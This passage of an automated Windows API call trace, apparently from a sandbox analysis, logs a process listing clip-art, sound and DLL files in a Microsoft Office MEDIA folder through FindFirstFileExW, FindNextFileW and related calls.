ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa04dd00, ftCreationTime.dwHighDateTime=0x1bf4531, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa04dd00, ftLastWriteTime.dwHighDateTime=0x1bf4531, nFileSizeHigh=0x0, nFileSizeLow=0x4d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304933.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab12600, ftCreationTime.dwHighDateTime=0x1bf4533, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3ab12600, ftLastWriteTime.dwHighDateTime=0x1bf4533, nFileSizeHigh=0x0, nFileSizeLow=0x5af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305257.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x666c0000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x666c0000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x47c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332364.WMF", cAlternateFileName="")) returned 1 [0069.058] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1 [0069.058] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1 [0069.058] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0 [0069.058] GetLastError () returned 0x12 [0069.058] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0069.058] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.058] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.058] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0069.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.060] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.060] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103ca28, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x103ca28, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.060] NtClose (Handle=0xec) returned 0x0 [0069.060] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.060] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10297e8 [0069.060] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.060] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c758 [0069.060] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.061] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.061] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0069.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0069.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff1e80 [0069.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1032828 [0069.061] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.061] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0069.061] GetLastError () returned 0x12 [0069.061] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d0a0 [0069.061] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.061] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.061] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0069.062] GetLastError () returned 0x12 [0069.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c758) returned 1 [0069.062] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0069.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0069.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10297e8) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0069.062] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", 